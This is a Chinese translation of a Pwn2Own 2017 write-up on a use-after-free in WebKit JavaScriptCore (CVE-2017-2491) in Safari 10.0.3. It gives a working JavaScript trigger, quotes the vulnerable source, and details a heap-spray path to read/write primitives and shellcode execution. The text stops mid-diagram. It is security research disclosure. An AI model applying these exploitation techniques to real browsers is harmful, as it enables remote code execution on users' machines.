Pwn2Own 2017:WebKit JSC::CachedCall中的UAF漏洞利用解析

本文详细分析了Pwn2Own 2017中WebKit JSC::CachedCall类的use-after-free漏洞,包括漏洞触发机制、利用技巧及通过大规模堆喷实现可靠读/写原语的方法,最终达成远程代码执行。

Pwn2Own 2017: JSC::CachedCall中的UAF漏洞 (WebKit)

2017年5月4日

作者:niklasb, saelo

作为简要介绍,我们是Samuel Groß(又名saelo)和Niklas Baumstark,都是卡尔斯鲁厄理工学院的学生,在决定组队参加今年的Pwn2Own之前,我们已经一起玩CTF有一段时间了。今天我们将讨论Safari 10.0.3中的一个use-after-free漏洞,该漏洞可用于在浏览器渲染进程中实现远程代码执行。本文是我们计划撰写的一系列漏洞和利用分析文章的一部分,这些漏洞和利用用于攻破Safari并在最新的MacBook Pro上提升到root权限。

两个WebKit漏洞的悲伤故事

我们在Pwn2Own上的演示有点不寻常,因为我们使用了一个1-day漏洞来获取Safari渲染器内的RCE。这是由于一些不幸的时间安排:

大约在二月初,saelo在CachedCall类中发现了一个漏洞,当我们第一次查看时,它似乎几乎无法利用。然后我们决定在大约两周后尝试它,并最终得到了一个可用的利用。在那个时候,saelo在推特上发布了一个简单PoC的SHA-256,即文件poc-cachedcall-uaf.js。仅仅7小时后(!),一名苹果员工就关于此问题开了一个bug报告,粉碎了我们用这个漏洞构建完整0-day利用链的希望。我们不认为开发人员将其识别为安全问题,因为该漏洞没有隐藏在跟踪器中。后来我们得知,一个内部fuzzer触发了该漏洞,迫使他们推送修复。

距离比赛大约还有一个月,我们决定专注于即将在Safari 10.1中引入的新WebKit代码。我们成功在那里发现并利用了一个漏洞,但再次有点不幸,因为苹果决定在比赛前不发布Safari 10.1(作为macOS 10.12.4的一部分)。我们也报告了这第二个漏洞,并将在修复后撰写分析文章,因为它影响当前的Safari 10.1。

概述

我们在Pwn2Own使用的WebKit漏洞是CVE-2017-2491 / ZDI-17-231,这是JavaScriptCore中JSString对象的use-after-free。通过触发它,我们可以在JavaScript回调中获得一个指向JSString对象的悬空指针。起初,特定场景似乎非常难以利用,但我们发现了一种相当通用的技术,仍然可以从中获得可靠的读/写原语,尽管它需要非常大的(约28 GiB)堆喷。由于macOS中的页面压缩机制,即使在只有8 GB RAM的MacBook上也是可能的。

以下文章结构如下:

  • 漏洞
  • 利用
  • 触发漏洞
  • 从fakeobj/addrof到任意R/W
  • 在完全损坏的堆中生存

完整的带注释的利用可以在文件cachedcall-uaf.html中找到。

漏洞

当使用RegExp对象作为第一个参数调用String.prototype.replace时,会在WebKit的JavaScript引擎JavaScriptCore(JSC)中调用以下原生函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
static ALWAYS_INLINE EncodedJSValue replaceUsingRegExpSearch(
    VM& vm, ExecState* exec, JSString* string, JSValue searchValue, CallData& callData,
    CallType callType, String& replacementString, JSValue replaceValue)
{
    // ...

    // [[ 如果正则表达式设置了g标志且第二个参数是JS函数,则走此路径 ]]
    if (global && callType == CallType::JS) {
        // regExp->numSubpatterns() + 1 用于模式参数,+ 2 用于匹配开始和字符串
        int argCount = regExp->numSubpatterns() + 1 + 2;
        JSFunction* func = jsCast<JSFunction*>(replaceValue);
        CachedCall cachedCall(exec, func, argCount);        // [[ 0 ]]
        RETURN_IF_EXCEPTION(scope, encodedJSValue());
        if (source.is8Bit()) {
            while (true) {
                int* ovector;
                MatchResult result = regExpConstructor->performMatch(vm, regExp, string, source, startPosition, &ovector);
                if (!result)
                    break;

                if (UNLIKELY(!sourceRanges.tryConstructAndAppend(lastIndex, result.start - lastIndex)))
                    OUT_OF_MEMORY(exec, scope);

                unsigned i = 0;
                for (; i < regExp->numSubpatterns() + 1; ++i) {
                    int matchStart = ovector[i * 2];
                    int matchLen = ovector[i * 2 + 1] - matchStart;

                    if (matchStart < 0)
                        cachedCall.setArgument(i, jsUndefined());
                    else
                        // [[ 1 ]]
                        cachedCall.setArgument(i, jsSubstring(&vm, source, matchStart, matchLen));
                }

                cachedCall.setArgument(i++, jsNumber(result.start));
                cachedCall.setArgument(i++, string);

                cachedCall.setThis(jsUndefined());
                JSValue jsResult = cachedCall.call();           // [[ 2 ]]
                replacements.append(jsResult.toWTFString(exec));
                RETURN_IF_EXCEPTION(scope, encodedJSValue());

                lastIndex = result.end;
                startPosition = lastIndex;

                // 空匹配的特殊情况
                if (result.empty()) {
                    startPosition++;
                    if (startPosition > sourceLen)
                        break;
                }
            }
        }

    // ...

在[[ 0 ]],创建了一个CachedCall实例,稍后用于调用回调函数。

在用于Safari 10.0.3的WebKit分支中,CachedCall类如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
class CachedCall {

    // ...

    private:
        bool m_valid;
        Interpreter* m_interpreter;
        VM& m_vm;
        VMEntryScope m_entryScope;
        ProtoCallFrame m_protoCallFrame;
        Vector<JSValue> m_arguments;
        CallFrameClosure m_closure;
};

如我们所见,使用WTF::Vector来保存参数,在上述算法期间,这些是jsSubstring创建的对象的唯一引用。

在JavaScriptCore中,所有由垃圾收集器管理生命周期的对象都继承自JSCell。在标记清除算法的标记步骤中,会扫描多个位置以查找对JSCells的引用并递归标记。这些包括:

  • 当前调用栈
  • 全局JavaScript执行上下文,包括所谓的全局对象
  • 特殊缓冲区,如MarkedArgumentBuffer
  • 可能还有其他一些

所有无法通过从这些位置遍历指针到达的对象都有资格在GC算法的清除步骤中被释放。这意味着如果对JSCell的唯一引用位于不透明的堆缓冲区(如WTF::Vector)中,垃圾收集器无法正确找到和标记它们,如果发生主要的垃圾收集周期,它们将被清除和释放。

在String.prototype.replace的情况下,主要的GC可以在[[ 1 ]]处分配新的参数字符串时发生。在这种情况下,先前的参数(JSString实例)将被收集和释放。当稍后在[[ 2 ]]处执行调用时,回调函数将接收到指向已释放JSCells的指针作为参数。注意,GC需要在回调之前发生,否则调用栈上会有对子字符串对象的引用。

文件poc-cachedcall-uaf.js演示了这个问题,并在Safari 10.0.3中工作:在脚本结束时,i_am_free是一个指向已释放JSString的指针。除了检查其类型外,对其做任何操作都可能导致浏览器崩溃,因为其JSCell头已被自由列表指针覆盖(稍后详述)。相关源代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function i_want_to_break_free() {
    var n = 0x40000;
    var m = 10;
    var regex = new RegExp("(ab)".repeat(n), "g"); // g标志触发易受攻击的路径
    var part = "ab".repeat(n); // 匹配必须至少大小为2以防止内部化
    var s = (part + "|").repeat(m);
    while (true) {
        var cnt = 0;
        var ary = [];
        s.replace(regex, function() {
            for (var i = 1; i < arguments.length-2; ++i) {
                if (typeof arguments[i] !== 'string') {
                    i_am_free = arguments[i];
                    throw "success";
                }
                ary[cnt++] = arguments[i];  // 根化所有内容以强制GC
            }
            return "x";
        });
    }
}
try { i_want_to_break_free(); } catch (e) { }
console.log(typeof(i_am_free));  // 将打印"object"

该漏洞通过在CachedCall类中用MarkedArgumentBuffer替换Vector来修复。

利用

通常,浏览器中的use-after-free漏洞可以通过在释放的位置分配新对象来转化为类型混淆。然而,在JSC的上下文中情况不同:它操作于包含自己类型信息的JSCell对象。因此,如果释放的位置被不同的、新分配的JSCell占据,指向JSCell的悬空指针不能直接利用。如果释放的对象保持其他垃圾收集对象存活,或者如果悬空指针可以通过错位指向另一个JSCell的内部,利用可能仍然可能。前一种情况从著名的Pegasus利用中已知,其中使用了一个已释放(但仍然完整)的JSArray,在其支持缓冲区已被释放和替换之后。

这两种情况在这里都不存在:由jsSubstring创建的JSString对象与调用replace()的原始JSString共享其内容,后者继续存活。此外,JSString对象分配在一个堆块中,其中只分配其他大致相同大小(24或32字节)的JSCells,并且所有分配都将对齐到32字节。

我们在这里应用常见技术的唯一想法是释放包含竞技场的整个堆块,并在其位置分配负责不同类型的竞技场。我们从未进一步调查这一点。相反,我们最终使用了一种不同的方法,这种方法非常通用,并且在Pwn2Own中效果很好。

JSCell自由列表指针类型混淆

当JSCell被收集和清除时,其前8个字节被替换为指向同一堆块中下一个自由单元的指针。其他字段保持不变。因此,如果我们尝试使用悬空指针而不首先在释放的JSString对象上分配某些东西,我们会崩溃。

使用的JSCell的前8个字节包含以下字段:

1
2
3
4
5
StructureID m_structureID;           // dword
IndexingType m_indexingTypeAndMisc;  // byte
JSType m_type;                       // byte
TypeInfo::InlineTypeFlags m_flags;   // byte
CellState m_cellState;               // byte

此时,Safari非常弱的堆地址布局随机化派上了用场:在macOS 10.12.3上,Safari中的堆地址从大约0x110000000到0x120000000开始并向上增长。如果此范围内的指针与JSCell头重叠,自由列表指针的低32位将与结构ID重叠,位32-39将成为索引类型,而其他三个字段为零。

我们可以通过喷洒多个千兆字节的内存(使用数组缓冲区)来构造一个可用的JSObject,使得索引类型变为8。我们需要喷洒大约7次4 GiB的内存,因为我们需要一个在0x800000000到0x8ffffffff范围内的地址。由于macOS的页面压缩机制,喷洒这么多内存是很容易可能的,但在Pwn2Own使用的目标机器上(2016年13.3英寸MacBook Pro,16GB RAM)大约需要50秒。

索引类型8对应于JSValues的快速连续存储(ContiguousShape)。对此对象的索引访问将直接咨询对象的butterfly,而不是执行完整的属性查找。butterfly的工作原理在saelo的phrack论文的第1.2节中有描述。butterfly指针是JSObject的第二个四字,恰好与释放的JSString实例的旧字符串长度和类型标志(都是32位整数)重叠。在我们的利用中,这些将始终产生指针0x200000001,这方便地指向我们的堆喷内部。以下图形说明了JSString和JSObject之间的重叠,发生在JSCell头被形式为0x8xxxxxxxx的堆指针覆盖之后:

原始JSString:

1
2
3
4
5
6
7
 JSCell字段                                              JSString字段
+---------------------------------------------------------------------------+
| dword        | byte         | byte   | byte  | byte      | dword | dword  |
| StructureID  | IndexingType | JSType | flags | CellState | flags | length |
|              |              |        |       |           |       |        |
| *            | *            | *      | *     | *         | 0x01  | 0x02   |
+---------------------------------------------------------------------------+

在头被指针0x8xxxxxxxx覆盖后,我们得到一个JSObject:

1
2
3
4
5
6
7
 JSCell字段                                              JSObject字段
+---------------------------------------------------------------------------+
| dword        | byte         | byte   | byte  | byte      | qword          |
| StructureID  | IndexingType | JSType | flags | CellState | butterfly ptr  |
|              |              |        |       |           |                |
| xxxxxxxx     | 0x08         | 0      | 0     | 0         | 0x200000001    |
+---------------------------------------------------------------------------+

此时,我们访问了一个具有快速路径索引的假JSObject,其butterfly与作为我们堆喷一部分的ArrayBuffer重叠。这可以很容易地转化为fakeobj和addrof原语,如上面链接的phrack论文第4节所述,通过写入假JSObject并从相应的ArrayBuffer读取,以及反之亦然。从那里我们照常进行:我们构造一个任意读/写原语,用我们自己的shellcode覆盖JavaScript函数的JIT代码,并调用该函数。

一些操作仍然访问我们假JSObject的结构,因此我们需要有一个有效的结构ID。结构通过使用结构ID作为索引的表查找检索。该表包含指向Structure实例的指针。由于我们无法控制结构ID本身(它与自由列表指针重叠),查找将访问表之外的内存和我们的喷洒区域。因此,我们必须在堆喷中创建假结构表条目。自由列表指针将是16字节对齐的,这是JSC分配器的粒度。此外,当通过结构表访问结构实例时,索引乘以8(指针大小)。因此,我们只需要在喷洒中每128字节有一个结构指针。在我们的利用中,我们将所有假表条目设置为固定指针0x150000008,并在喷洒数据的每个页面的开头创建一个假结构实例。

触发漏洞

上述方法起初看起来很简单:

  1. 喷洒28 GiB内存以将堆推入0x8xxxxxxxx区域。
  2. 触发漏洞。

然而,第二步实际上并不那么容易。虽然上面的简单PoC代码在Safari 10.0.3中几乎立即触发,但这只是因为堆在那个时候非常小,所以GC发生得非常频繁。有了28 GiB的映射内存,分配仍然触发GC由于JSC分配器中的启发式方法是非常不可能的。

然而,好的一点是,至少在用于Safari 10.0.3的JSC版本中,垃圾收集器是完全确定性的,尽管WebKit HEAD中的新并发垃圾收集器不再是。所以我们只是玩弄直到我们找到了堆喷、正则表达式和输入字符串的组合,可靠地在0x8xxxxxxxx区域触发漏洞。在我们实际的利用中,我们只喷洒14 GiB的数组缓冲区,然后开始循环调用String.prototype.replace。恰好这可靠地导致我们需要的情况,其中释放的JSString的索引类型最终被覆盖为8。

我们有一些想法如何使其在WebKit HEAD中工作,但然后苹果修复了漏洞,所以我们停止了工作。然而,这意味着我们的利用在堆设置方面非常脆弱。如果我们改变利用的分配模式太多,漏洞不再在正确的时间触发,利用失败。

从fakeobj/addrof到任意R/W

saelo的phrack论文使用以下方法从能够伪造JSC对象到任意读/写:

  1. 喷洒大量不同的Float64Array结构,以便我们可以可靠地猜测其中一个结构ID。
  2. 在JSObject的内联属性中伪造一个Float64Array fakearray,其结构ID为猜测的。其数据指针指向一个称为hax的Uint8Array。
  3. 对于读或写,设置fakearray[2] = <目标地址>,然后从/向hax读/写。

设置如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
    fakearray                             hax
+----------------+                  +----------------+
|  Float64Array  |   +------------->|  Uint8Array    |
|                |   |              |                |
|  JSCell        |   |              |  JSCell        |
|  butterfly     |   |              |  butterfly     |
|  vector  ------+---+              |  vector        |
|  length        |                  |  length        |
|  mode          |                  |  mode          |
+----------------+                  +----------------+

我们首先尝试在我们的Pwn2Own利用中使用相同的方法,但步骤1搞乱了我们的堆布局太多。为了简单起见,我们再次使用我们新学到的技巧:

  1. 在另一个对象的内联属性中伪造一个称为fakearray的JSObject,索引类型为8,结构ID为0。使其butterfly指向一个称为hax的Uint8Array。
  2. 创建一个额外的Uint8Array称为hax2。
  3. 设置fakearray[2] = hax2,从而将hax的支持缓冲区更改为hax2的地址。
  4. 对于读/写,将目标地址写入hax的偏移16,从而将hax2的支持缓冲区更改为目标。然后从/向hax2读/写。

这是因为在Safari 10.0.3中总是存在ID为0的结构。这里的设置如下:

1
2
3
4
5
6
7
8
      fakearray                        hax                       hax2
+--------------------+         +------------------+        +--------------+
|  JSObject          |   +---->|  Uint8Array      |  +---->|  Uint8Array  |
|                    |   |     |                  |  |     |              |
|  structureID = 0   |   |     |  JSCell          |  |     |  JSCell      |
|  indexingType = 8  |   |     |  butterfly       |  |     |  butterfly   |
|  <rest of JSCell>  |   |     |  vector       ------+     |  vector      |
|  butterfly       ------+     |  length = 0
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计